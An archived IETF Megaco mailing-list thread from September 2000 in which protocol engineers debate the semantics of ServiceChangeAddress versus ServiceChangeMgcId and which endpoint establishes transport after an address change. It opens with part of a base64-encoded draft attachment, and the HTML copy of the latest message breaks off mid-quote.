aGVycywgYW5kIGRlcml2YXRpdmUgd29ya3MgdGhhdCBjb21tZW50IG9uIG9yIG90aGVyd2lzZSBl
eHBsYWluIGl0DQogICBvciBhc3Npc3QgaW4gaXRzIGltcGxtZW50YXRpb24gbWF5IGJlIHByZXBh
cmVkLCBjb3BpZWQsIHB1Ymxpc2hlZA0KICAgYW5kIGRpc3RyaWJ1dGVkLCBpbiB3aG9sZSBvciBp
biBwYXJ0LCB3aXRob3V0IHJlc3RyaWN0aW9uIG9mIGFueQ0KICAga2luZCwgcHJvdmlkZWQgdGhh
dCB0aGUgYWJvdmUgY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwYXJhZ3JhcGgNCiAgIGFyZSBp
bmNsdWRlZCBvbiBhbGwgc3VjaCBjb3BpZXMgYW5kIGRlcml2YXRpdmUgd29ya3MuIEhvd2V2ZXIs
IHRoaXMNCiAgIGRvY3VtZW50IGl0c2VsZiBtYXkgbm90IGJlIG1vZGlmaWVkIGluIGFueSB3YXks
IHN1Y2ggYXMgYnkgcmVtb3ZpbmcNCiAgIHRoZSBjb3B5cmlnaHQgbm90aWNlIG9yIHJlZmVyZW5j
ZXMgdG8gdGhlIEludGVybmV0IFNvY2lldHkgb3Igb3RoZXINCiAgIEludGVybmV0IG9yZ2FuaXph
dGlvbnMsIGV4Y2VwdCBhcyBuZWVkZWQgZm9yIHRoZSBwdXJwb3NlIG9mDQogICBkZXZlbG9waW5n
IEludGVybmV0IHN0YW5kYXJkcyBpbiB3aGljaCBjYXNlIHRoZSBwcm9jZWR1cmVzIGZvcg0KICAg
Y29weXJpZ2h0cyBkZWZpbmVkIGluIHRoZSBJbnRlcm5ldCBTdGFuZGFyZHMgcHJvY2VzcyBtdXN0
IGJlDQogICBmb2xsb3dlZCwgb3IgYXMgcmVxdWlyZWQgdG8gdHJhbnNsYXRlIGl0IGludG8NCgwN
CkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2VzICAg
ICAgICBQYWdlIDMzDQoM
--=====================_10616742==_
Content-Type: text/plain; charset="us-ascii"

Al Varney - Lucent Technologies  +1 630 224-7493    varney@lucent.com
--=====================_10616742==_--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 15:06:12 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24171
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 15:05:59 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91401@standards.nortelnetworks.com>; Thu, 7 Sep 2000 13:35:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22927 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 13:35:40 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB91400@standards.nortelnetworks.com>; Thu, 7 Sep 2000 13:35:26
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id NAA02000; Thu, 7 Sep 2000 13:48:25 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id NAA28089; Thu, 7 Sep 2000 13:48:26 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHZ2D>; Thu, 7 Sep 2000 13:48:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C018F3.C1FE1E30"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678829@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 7 Sep 2000 13:47:57 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              Bharat Kaul <bharat@trillium.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C018F3.C1FE1E30
Content-Type: text/plain;
        charset="iso-8859-1"

No, no, no.  The MGC never EVER sets up a transport connection.  The MG
always does this.  Remember: the MG does not have a TCP server, only a
client.
So it's always the MG that sets up the TCP connection.  With TCP you get
a full duplex channel, right?

I understand that with UDP, there is no "connection", so this isn't really
much
of an issue except for the timing weirdness.  It did occur to me that I did
make
an incorrect assumption on UDP - the MG could be listening on the new port
before it sent the ServiceChangeAddress, so the MGC can go ahead and send
the next command without any further ado.

There are two variables and four resulting circumstances where this can
occur.
I think 1.5 of them work.

The variables are who sends ServiceChange command, and who sends
ServiceChangeAddress.

When the MG sends ServiceChange command, and it sends ServiceChangeAddress,
you have a nonsense situation.  It's saying "send the reply to this command
at the
address I sent it from, send further commands to a new address".  The
problem
exists, because the MGC replies to the command at the old address, but then
has to wait until the MG creates the new transport to send the next command.

When the MG sends the ServiceChange command, but the MGC sets
ServiceChangeAddress, this is a "normal" case of something like a pooled
MGC,
or multiple network interfaces.  The same situation exists; the MGC has to
wait until
the MG sets up the new transport before sending the next command.

When the MGC sends the ServiceChange, and it sets the ServiceChangeAddress,
this is the normal handoff.  Here, things work, because the MG replies to
the old
address, tears down the transport and then SENDS A NEW SERVICECHANGE
command.  This is the way I want all of the cases to work, but it's the way
it
is already defined for this case.

The last case is truly warped.  The MGC sends a ServiceChange, and the MG
replies with a new address.  Sort of "well, while we are changing things,
why
don't we change my address".  If the ServiceChange the MG sent is handoff,
(which implies the MGC also set ServiceChangeAddress), everything is fine.
The MG replies to the old address, and then sets up the transport and sends
a
new ServiceChange command.  If the MGC just did something else, then we are
back in the state where the MGC has to wait for the new transport to be set
up
by the MG before it can send a new command.

Brian


-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Thursday, September 07, 2000 10:49 AM
To: Rosen, Brian; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


Brian, you've got directions reversed, I think.  If the MG sends a
ServiceChangeAddress, then the MGC is being told to send its requests to
that address.  The MGC is the one that has to establish the transport
connection (if required), because the MGC is the one that knows what source
address it wants to use.  Beyond this, the MGC knows that the MG is ready
because it has established its new connection or (for UDP) simply because
the MG wouldn't have asked for the change if it wasn't ready to handle it.

Now consider the case where the MGC has sent the MG a ServiceChangeAddress.
Here it is telling the MG where to send new requests.  The MG is responsible
for setting up the transport connection, and knows when it can start sending
as a result.

You never have a situation where one end has to wait for the other to set up
a transport connection before it can send messages.

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Thursday, September 07, 2000 9:11 AM
To: 'Bharat Kaul'; Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I'm still stuck on how you expect this to work if you don't abandon the
current
control association and start a new one.  Whether you change addresses,
or even if you change ports, the MGC has to wait until the new transport is
established, and then send the first message on the transport established by
the MG.  This is unlike any mechanism I know of.  In all cases that I've
seen,
the first message on a new port/address comes from the entity establishing
the transport.

For UDP it's not all that hard EXCEPT that you have no idea when to send a
message - how do you know that the MG is listening on the port?  You asked
him
to change, and you get no packets telling you  he did it.

For TCP it's at least possible if you get into the TCP machinery, because
you can
see the TCP connection state on the new port being established.  However,
the
MGC has to watch this, and after it's established, then send it's first
message,
again before it gets any messages from the MG.

The other way, using ServiceChangeMgcId, you reply with the new port,
clear your state, and sit back.  You will get a new ServiceChange on the
correct
port.  Much easier.

Brian

-----Original Message-----
From: Bharat Kaul [mailto:bharat@trillium.com]
Sent: Wednesday, September 06, 2000 6:34 PM
To: Rosen, Brian; 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I also agree with what seems to be the evolving consensus.

However, we might to have evaluate the choice of IP Address being present as
part of ServiceChangeAddress more carefully before disallowing it.

The case in point being an entity wanting to redirect the conversation on a
particular interface and a port or current interface and a particular port.
For first case, we need to allow presence of IP Address. For second case, we
are fine with port. So effectively, it boils down to using
ServiceChangeMgcId.
It might be  a requirement that MG  receiving the parameter  knows exactly
that it has been asked to communicate on other interface with the same MGC
and hasn't been redirected to a altogether new MGC otherwise the MG might
interpret them as two separate entities which is not a correct picture.

Any comments on  this ?

- Bharat


-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Wednesday, September 06, 2000 11:12 AM
To: 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress





OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

I'm assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.  mId serves to identify which association this message refers
to.  Given those caveats, I agree.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

I'd like to see if we could develop a consensus, but I can live with it.

I'm still concerned about the difficulty of changing address, or port, with
TCP transport.  We need at least a note of caution in the Implementers
Guide.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

Yes!

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

Yes!

Brian

> -----Original Message-----
> From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [ mailto:taylor@NORTELNETWORKS.COM
<mailto:taylor@NORTELNETWORKS.COM> ]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


------_=_NextPart_001_01C018F3.C1FE1E30
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>No,
no, no.&nbsp; The MGC never EVER sets up a transport connection.&nbsp; The
MG</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>always
does this.&nbsp; Remember: the MG does not have a TCP server, only a
client.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>So
it's always the MG that sets up the TCP connection.&nbsp; With TCP you
get</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>a full
duplex channel, right? </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>I
understand that with UDP, there is no "connection", so this isn't really
much</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>of an
issue except for the timing weirdness.&nbsp; It did occur to me that I did
make</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>an
incorrect assumption on UDP - the MG could be listening on the new
port</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>before
it sent the ServiceChangeAddress, so the MGC can go ahead and
send</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>the
next command without any further ado.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>There
are two variables and four resulting circumstances where this can
occur.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>I
think 1.5 of them work.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>The
variables are who sends ServiceChange command, and who sends
ServiceChangeAddress.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>When
the MG sends ServiceChange command, and it sends
ServiceChangeAddress,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>you
have a nonsense situation.&nbsp; It's saying "send the reply to this
</SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>command at the </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>address I sent it from, send further commands to a new
address".&nbsp; The problem</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>exists, because the MGC replies to the command at the
old address, but then</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>has to
wait until the MG creates the new transport to send the next
command.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>When
the MG sends the ServiceChange command, but the MGC sets ServiceChangeAddress,
this is a "normal" case of something like a pooled MGC,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>or
multiple network interfaces.&nbsp; The same situation exists; the MGC has to
wait until</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>the MG
sets up the new transport before sending the next command.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>When
the MGC sends the ServiceChange, and it sets the
ServiceChangeAddress,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>this
is the normal handoff.&nbsp; Here, things work, because the MG replies to the
old</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>address, tears down the transport and then SENDS A NEW
SERVICECHANGE</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>command.&nbsp; This is the way I want all of the cases
to work, but it's the way it</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>is
already defined for this case.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>The
last case is truly warped.&nbsp; The MGC sends a ServiceChange, and the
MG</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>replies with a new address.&nbsp; Sort of "well, while
we are changing things, why</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>don't
we change my address".&nbsp; If the ServiceChange the MG sent is
handoff,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>(which
implies the MGC also set ServiceChangeAddress), everything is
fine.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>The MG
replies to the old address, and then sets up the transport and sends a
</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>new
ServiceChange command.&nbsp; </SPAN></FONT><FONT color=#0000ff face=Arial
size=2><SPAN class=580411417-07092000>If the MGC just did something else, then
we are </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>back
in the state where the </SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>MGC has to wait for the new transport to be set up
</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>by the
MG before it can </SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>send a new command.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000>Brian</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]<BR><B>Sent:</B> Thursday, September 07,
  2000 10:49 AM<BR><B>To:</B> Rosen, Brian; 'Bharat Kaul'; 'Flemming
  Andreasen'<BR><B>Cc:</B>
  megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
  port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=380333814-07092000>Brian, you've got directions reversed, I think.&nbsp;
  If the MG sends a ServiceChangeAddress, then the MGC is being told to send its
  requests to that address.&nbsp; The MGC is the one that has to establish the
  transport connection (if required), because the MGC is the one that knows what
